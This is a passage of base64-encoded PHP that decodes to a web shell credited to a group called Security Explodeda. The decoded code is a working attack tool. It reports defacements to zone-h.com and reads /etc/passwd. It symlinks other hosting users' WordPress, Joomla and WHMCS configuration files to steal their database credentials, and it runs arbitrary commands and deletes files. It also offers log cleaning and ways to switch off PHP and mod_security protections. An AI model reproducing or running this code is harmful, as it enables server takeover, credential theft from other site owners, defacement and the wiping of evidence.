bGFjZWhvbGRlcj0iTGlzdCBPZiBEb21haW5zIj48L3RleHRhcmVhPgo8YnIgLz48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2VuZCBOb3cgISIgbmFtZT0iU2VuZE5vd1RvWm9uZUgiIC8+PGJyPjwvY2VudGVyPjwvdGFibGU+CjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+CjwhLS0gRW5kIE9mIFpvbmUtSCAtLT4KPC90ZD48L2NlbnRlcj48YnI+PGJyPgoKPD9waHAKZnVuY3Rpb24gWm9uZUgoJHVybCwgJGhhY2tlciwgJGhhY2ttb2RlLCRyZXNvbiwgJHNpdGUgKSAKeyAKICAgICRrID0gY3VybF9pbml0KCk7IAogICAgY3VybF9zZXRvcHQoJGssIENVUkxPUFRfVVJMLCAkdXJsKTsgCiAgICBjdXJsX3NldG9wdCgkayxDVVJMT1BUX1BPU1QsdHJ1ZSk7IAogICAgY3VybF9zZXRvcHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlLiImaGFja21vZGU9Ii4kaGFja21vZGUuIiZyZWFzb249Ii4kcmVzb24pOyAKICAgIGN1cmxfc2V0b3B0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOyAKICAgIGN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsgCiAgICAka3VicmEgPSBjdXJsX2V4ZWMoJGspOyAKICAgIGN1cmxfY2xvc2UoJGspOyAKICAgIHJldHVybiAka3VicmE7IAp9IAp7IAogICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsgCiAgICAgICAgICAgICAgICAkc3ViID0gQGdldF9sb2FkZWRfZXh0ZW5zaW9ucygpOyAKICAgICAgICAgICAgICAgIGlmKCFpbl9hcnJheSgiY3VybCIsICRzdWIpKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgZGllKCc8Y2VudGVyPjxiPlstXSBDdXJsIElzIE5vdCBTdXBwb3J0ZWQgISFbLV08L2I+PC9jZW50ZXI+Jyk7IAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJGhhY2tlciA9ICRfUE9TVFsnZGVmYWNlciddOyAKICAgICAgICAgICAgICAgICRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107IAogICAgICAgICAgICAgICAgJG5lZGVuID0gJF9QT1NUWydyZWFzb24nXTsgCiAgICAgICAgICAgICAgICAkc2l0ZSA9ICRfUE9TVFsnZG9tYWluJ107IAogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRoYWNrZXIpKSAKICAgICAgICAgICAgICAgIHsgZGllICgiPGNlbnRlcj48Yj4gPC9iPjwvY2VudGVyPiIpOyB9IAogICAgICAgICAgICAgICAgZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSAgCiAgICAgICAgICAgICAgICB7IGRpZSgiPGNlbnRlcj48Yj5bK10gWU9VIE1VU1QgU0VMRUNUIFRIRSBNRVRIT0QgWytdPC9iPjwvY2VudGVyPiIpOyB9IAogICAgICAgICAgICAgICAgZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpICAKICAgICAgICAgICAgICAgIHsgIGRpZSgiPGNlbnRlcj48Yj5bK10gWU9VIE1VU1QgU0VMRUNUIFRIRSBSRUFTT04gWytdPC9iPjwvY2VudGVyPiIpOyB9IAogICAgICAgICAgICAgICAgZWxzZWlmKGVtcHR5KCRzaXRlKSkgIAogICAgICAgICAgICAgICAgeyBkaWUoIjxjZW50ZXI+PGI+WytdIFlPVSBNVVNUIElOVEVSIFRIRSBTSVRFUyBMSVNUIFsrXTwvYj48L2NlbnRlcj4iKTsgfSAKICAgICAgICAgICAgICAgICRpID0gMDsgCiAgICAgICAgICAgICAgICAkc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsgCiAgICAgICAgICAgICAgICB3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpICAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgIAogICAgICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsgCiAgICAgICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgICAgICBab25lSCgiaHR0cDovL3d3dy56b25lLWguY29tL25vdGlmeS9zaW5nbGUiLCAkaGFja2VyLCAkbWV0aG9kLCAkbmVkZW4sICRzaXRlc1skaV0pOyAKICAgICAgICAgICAgICAgICAgICAgZWNobyAiJHNpdGVzWyRpXSI7IAogICAgICAgICAgICAgICAgICAgICsrJGk7IAogICAgICAgICAgICAgICAgfSAKCiAgICAgICAgICAgIH0gCgogICAgCn0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdncmFiYycpKXsgQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyAKZWNobyAiCjx0YWJsZSBzdHlsZT13aWR0aDoxMDAlOyBib3JkZXI9MCBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0xIGFsaWduPWNlbnRlcj4KCiAgICA8dHI+CiAgICA8dGQgdmFsaWduPXRvcCBiZ2NvbG9yPSMxNTE1MTUgY2xhc3M9c3R5bGUyIHN0eWxlPXdpZHRoOiAxMzlweD4KICAgIDxjZW50ZXI+PGI+PGZvbnQgc2l6ZT01IHN0eWxlPWl0YWxpYyBjb2xvcj0jMDBmZjAwPkNvbmZpZyBHcmFiYmVyPC9mb250PjwvYj48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4KIjsKPz4KICAgIDxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4meD1ncmFiYyIgbWV0aG9kPSJwb3N0Ij4KCjw/cGhwCmVjaG8gIgo8Zm9ybSBtZXRob2Q9J1BPU1QnPgo8L2hlYWQ+CjxzdHlsZT4KdGV4dGFyZWEgewpyZXNpemU6bm9uZTsKY29sb3I6ICMwMDAwMDAgOwpiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7ICAKZm9udC1zaXplOjhwdDsgY29sb3I6I2ZmZmZmZjsKCndpZHRoOjU1MHB4OwpoZWlnaHQ6NDAwcHg7Cn0KaW5wdXQgewpjb2xvcjogIzAwMDAwMDsKYm9yZGVyOjFweCBkb3R0ZWQgd2hpdGU7Cn0KPC9zdHlsZT4iOwplY2hvICI8Y2VudGVyPiI7Pz48L2NlbnRlcj48YnI+PGNlbnRlcj48P3BocCBpZiAoZW1wdHkoJF9QT1NUWydjb25maWcnXSkpIHsgPz48YnI+PGZvcm0gbWV0aG9kPSJQT1NUIj48dGFibGUgY2xhc3M9InRhYm5ldCIgPgo8dGggY29sc3Bhbj0nNSc+PGI+Q29uZmlnIEdyYWJiZXI8L2I+PC90aD48L2NlbnRlcj4KPHRyPjx0ZD48L3RkPjx0ZD48dGFibGU+PHRleHRhcmVhIG5hbWU9InBhc3N3ZCIgY2xhc3M9J2FyZWEnIHJvd3M9JzE1JyBjb2xzPSc2MCc+PD89ZmlsZV9nZXRfY29udGVudHMoJy9ldGMvcGFzc3dkJyk7ID8+PC90ZXh0YXJlYT48YnI+CjxjZW50ZXI+PGlucHV0IG5hbWU9ImNvbmZpZyIgc3R5bGU9IndpZHRoOjU1MHB4OyIgY2xhc3M9J2lucHV0emJ1dCcgdmFsdWU9IiZuYnNwOyZuYnNwO0dyYWIhJm5ic3A7Jm5ic3A7IiB0eXBlPSJzdWJtaXQiPjwvZm9ybT48L2NlbnRlcj48L3RhYmxlPjwvdGFibGU+Cjw/cGhwIH1pZiAoJF9QT1NUWydjb25maWcnXSkgeyRmdW5jdGlvbiA9ICRmdW5jdGlvbnM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7aWYoZXJlZ2koInN5bWxpbmsiLCRmdW5jdGlvbnMpKXtkaWUgKCc8ZXJyb3I+U3ltbGluayBkaXNhYmxlZCA6KCA8L2Vycm9yPicpO31AbWtkaXIoJ2V4cGxvZGVkY2dyYWInLCAwNzU1KTtAY2hkaXIoJ2V4cGxvZGVkY2dyYWInKTsKJGh0YWNjZXNzPSIKT1BUSU9OUyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzIFN5bUxpbmtzSWZPd25lck1hdGNoIEluY2x1ZGVzIEluY2x1ZGVzTk9FWEVDIEV4ZWNDR0kKT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkZvcmNlVHlwZSB0ZXh0L3BsYWluCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwCkFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbApBZGRUeXBlIHRleHQvaHRtbCAuc2h0bWwKQWRkVHlwZSB0eHQgLnBocApBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocApBZGRIYW5kbGVyIHR4dCAucGhwCkFkZEhhbmRsZXIgdHh0IC5odG1sCkFkZEhhbmRsZXIgdHh0IC5zaHRtbApPcHRpb25zIEFsbApPcHRpb25zIEFsbApPUFRJT05TIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgU3ltTGlua3NJZk93bmVyTWF0Y2ggSW5jbHVkZXMgSW5jbHVkZXNOT0VYRUMgRXhlY0NHSQpPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRm9yY2VUeXBlIHRleHQvcGxhaW4KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAKQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sCkFkZFR5cGUgdGV4dC9odG1sIC5zaHRtbApBZGRUeXBlIHR4dCAucGhwCkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwCkFkZEhhbmRsZXIgdHh0IC5waHAKQWRkSGFuZGxlciB0eHQgLmh0bWwKQWRkSGFuZGxlciB0eHQgLnNodG1sCk9wdGlvbnMgQWxsCk9wdGlvbnMgQWxsIjsKZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsJGh0YWNjZXNzLEZJTEVfQVBQRU5EKTskcGFzc3dkPSRfUE9TVFsicGFzc3dkIl07CiRwYXNzd2Q9ZXhwbG9kZSgiXG4iLCRwYXNzd2QpOwplY2hvICI8YnI+PGJyPjxjZW50ZXI+PGZvbnQgY29sb3I9I2IwYjAwMCBzaXplPTJwdD53YWl0IC4uLjwvY2VudGVyPjxicj4iOwpmb3JlYWNoKCRwYXNzd2QgYXMgJHB3ZCl7CiRwYXdkPWV4cGxvZGUoIjoiLCRwd2QpOyR1c2VyID0kcGF3ZFswXTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLXdwLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1XUC50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy13cC1iZXRhLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLWJldGEudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLXByZXNzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtd29yZHByZXNzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtV29yZHByZXNzLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLVdvcmRwcmVzcy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkdXNlci4nLWNvbmZpZ2dnLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cDEzLW5ld3MudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1uZXcudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkdXNlci4nLXdwLWJsb2cudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywkdXNlci4nLXdwLWJldGEudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1ibG9ncy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AtaG9tZS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9kYi5waHAnLCR1c2VyLictZGJjb25mLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1zaXRlLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1tYWluLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdwLXRlc3QudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYTIudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1wcm90YWwudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvby50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLWNtcy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1zaXRlLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLW1haW4udHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1qb29tbGEtbmV3cy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLW5ldy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1ob21lLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCR1c2VyLictdmItY29uZmlnLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0xNS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jZW50cmFsL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdobS1jZW50cmFsLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0td2htY3MudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdobS1XSE1DUy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL1dITS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG1jLVdITS50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG1jcy50eHQnKTsKQHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXN1cHBvcnQudHh0Jyk7CkBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCR1c2VyLictd2htY3MyLnR4dCcpOwpAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0udHh0Jyk7fQplY2hvICc8YiBjbGFzcz0iY29uZSI+PGZvbnQgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAwZGQwMCIgc2l6ZT0iMnB0Ij48Yj5Eb25lIC0+PC9iPiA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iZXhwbG9kZWRjZ3JhYiI+T3BlbiBjb25maWdzPC9hPjwvZm9udD48L2I+Jzt9Cn0KICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYWJvdXQnKSkKICAgIHtAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7IAogICAgICAgIGVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5BYm91dDwvZm9udD48L2I+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+CiI7CiAgICA/Pjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4meD1hYm91dCIgbWV0aG9kPSJwb3N0Ij48Y2VudGVyPjxicj48YnI+PGRpdiBjbGFzcz0nbXN1cGlhbmknPjxpbWcgc3JjPSdodHRwOi8vb2k1OC50aW55cGljLmNvbS8ydThmbW5uLmpwZycvPjwvZGl2Pgo8YnI+PGJyPjxicj48Zm9udCBzaXplPSIxMCIgY29sb3I9IiMwMGZmMDAiPjxiPlRoYW5rcyBUbyA6PC9iPjxicj48YnI+PGJyPjwvZm9udD48L2NlbnRlcj48Y2VudGVyPjxtYXJxdWVlIGRpcmVjdGlvbj0idXAiIHNjcm9sbGFtb3VudD0iMiIgYmdjb2xvcj0iIiB3aWR0aD0iMjUwIiBoZWlnaHQ9IjEwMCI+PGNlbnRlcj4KPHA+PGI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMGZmMDAiPkFsbGFoIFMuVy5UPGJyPjxicj5NeSBQYXJlbnQ8YnI+WXVsaWEgU3VzYW50aTxicj5BbGwgTWVtYmVyIFNlY3VyaXR5IEV4cGxvZGVkPGJyPjFONzNDVElPTjxicj5CMzc0Szxicj5Bbm9uR2hvc3Q8YnI+V1NPPGJyPkMxMDA8YnI+QmxhY2tTaGFkb3c8YnI+TWFkc3BvdDxicj48YnI+Cj1bIEdydWIgJiBGb3J1bSBdPTxicj48YnI+UGVudGVzdCAmIFNlY3VyaXR5IEluZG9uZXNpYTxicj5LYWxpIExpbnV4IEluZG9uZXNpYTxicj5TdXJhYmF5YSBCbGFjayBIYXQ8YnI+SW5kb25lc2lhbiBCYWNrdHJhY2sgVGVhbTxicj48YnI+PGJyPjxicj5CeTxicj5TZWN1cml0eSBFeHBsb2RlZCBhLmsuYSAuL1BvcnQyMjxicj48YnI+U3BlY2lhbCBQcmVzZW50IFRvIDo8QlI+PGNlbnRlcj48aW1nIHNyYz0iaHR0cDovL3d3dy5jbGtlci5jb20vY2xpcGFydHMvVy9xL0QvcC9lLzcvc21hbGwtcmVkLWhlYXJ0LXdpdGgtdHJhbnNwYXJlbnQtYmFja2dyb3VuZC1oaS5wbmciIHdpZHRoPScyMCcgaGVpZ2h0PScyMCc+PC9jZW50ZXI+WXVsaWEgU3VzYW50aTxicj48YnI+MTggTWFyIDIwMTQ8YnI+CjwvZm9udD48L2I+PC9wPjwvY2VudGVyPjwvbWFycXVlZT48L2NlbnRlcj48ZW1iZWQgc3JjPSI8Pz0kbXVzaWM7Pz4iIGF1dG9zdGFydD0iVFJVRSIgbG9vcD0iVFJVRSIgd2lkdGg9IjAiIGhlaWdodD0iMCI+PC9lbWJlZD48YnI+PGJyPjxicj4KPD9waHAKfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2hlbGwnKSl7ICA/Pjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4mYW1wO3g9c2hlbGwiIG1ldGhvZD0icG9zdCI+PHRhYmxlIGNsYXNzPSJjbWRib3giPgo8dHI+PHRkIGNvbHNwYW49IjIiPjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiByZWFkb25seT48P3BocCBpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdGNtZCddKSkgeyBlY2hvIEBleGUoJF9QT1NUWydjbWQnXSk7fSA/PjwvdGV4dGFyZWE+Cjx0cj48dGQgY29sc3Bhbj0iMiI+PD89JHByb21wdDsgPz48aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSIiIC8+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvICEiIG5hbWU9InN1Ym1pdGNtZCIgc3R5bGU9IndpZHRoOjEyJTsiIC8+PC90ZD48L3RyPgo8L3RhYmxlPjwvZm9ybT48P3BocCB9IAplbHNlIHsgCmlmKGlzc2V0KCRfR0VUWydkZWxldGUnXSkgJiYgKCRfR0VUWydkZWxldGUnXSAhPSAiIikpewogICAgJGZpbGUgPSAkX0dFVFsnZGVsZXRlJ107CiAgICBAdW5saW5rKCRmaWxlKTsKfQplbHNlaWYoaXNzZXQoJF9HRVRbJ2ZkZWxldGUnXSkgJiYgKCRfR0VUWydmZGVsZXRlJ10gIT0gIiIpKXsKICAgIEBybWRpcihydHJpbSgkX0dFVFsnZmRlbGV0ZSddLERJUkVDVE9SWV9TRVBBUkFUT1IpKTsKfQplbHNlaWYoaXNzZXQoJF9HRVRbJ21rZGlyJ10pICYmICgkX0dFVFsnbWtkaXInXSAhPSAiIikpewogICAgJHBhdGggPSAkcHdkLiRfR0VUWydta2RpciddOwogICAgQG1rZGlyKCRwYXRoKTsKfQogICAgJGJ1ZmYgPSBzaG93ZGlyKCRwd2QsJHByb21wdCk7CiAgICBlY2hvICRidWZmOwp9Ci8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCj8+Cjxicj48dGFibGUgY2xhc3M9InRhYm5ldCIgPgo8dHI+PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiI+Jm5ic3A7PHRkPjxzZWxlY3QgY2xhc3M9ImlucHV0emJ1dCIgYWxpZ249ImxlZnQiICBuYW1lPSJwaWxpaGFuIiBpZD0icGlsaWgiPjxvcHRpb24gdmFsdWU9IiJzZWxlY3RlZD4tLS0tLS1bIFNlbGVjdCBZb3VyIEZhdm9yaXQgVG9vbHMgXS0tLS0tLTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Imh0YXNlbGwiPmh0YWNjZXNzIFNoZWxsIFsgLmh0YWNjZXNzIF08L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzbGMiID5TZXJ2ZXIgTG9nIENsZWFuZXIgWyBzZXJ2ZXJMQy5zaCBdPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iaW5pIj5CeXBhc3MgRGlzYWJsZSBGdW5jdGlvbiBpbiBBcGFjaGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJpbmlzIj5CeXBhc3MgRGlzYWJsZSBGdW5jdGlvbiBpbiBMaXRlc3BlZWQ8L29wdGlvbj48L3NlbGVjdD4KPGlucHV0ICB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdGVzIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iQ3JlYXRlZCI+CjwvdGQ+PC9mb3JtPjwvdHI+PC90YWJsZT4KPD9waHAKJHN1Ym1pdCA9ICRfUE9TVCBbJ3N1Ym1pdGVzJ107CmlmKGlzc2V0KCRzdWJtaXQpKSB7CiAgICAkcGlsaWggPSAkX1BPU1RbJ3BpbGloYW4nXTsKICAgICAgICBpZiAoICRwaWxpaCA9PSAnaW5pJykgewogICAgICAgICAgICAkYnlwaHAgPSAic2FmZV9tb2RlID0gT2ZmIFxuIGRpc2FibGVfZnVuY3Rpb25zID0gTm9uZSBcbiBzYWZlX21vZGVfZ2lkID0gT0ZGIFxuIG9wZW5fYmFzZWRpciA9IE9GRiBcbiBhbGxvd191cmxfZm9wZW4gPSBPbiI7CiAgICAgICAgICAgICRieWh0ID0gIjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4gXG4gU2VjRmlsdGVyRW5naW5lIE9mZiBcbiBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYgXG4gIFNlY0ZpbHRlckNoZWNrVVJMRW5jb2RpbmcgT2ZmIFxuICBTZWNGaWx0ZXJDaGVja1VuaWNvZGVFbmNvZGluZyBPZmYgXG4gIDwvSWZNb2R1bGU+IjsKICAgICAgICAgICAgJGluaXBocCA9ICc8PyBcbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBcbiBlY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOyBcbiBpbmNsdWRlKCRfR0VUWyJmaWxlIl0pOyBcbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IFxuIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgXG4gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsgXG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgXG4gaW5jbHVkZSgk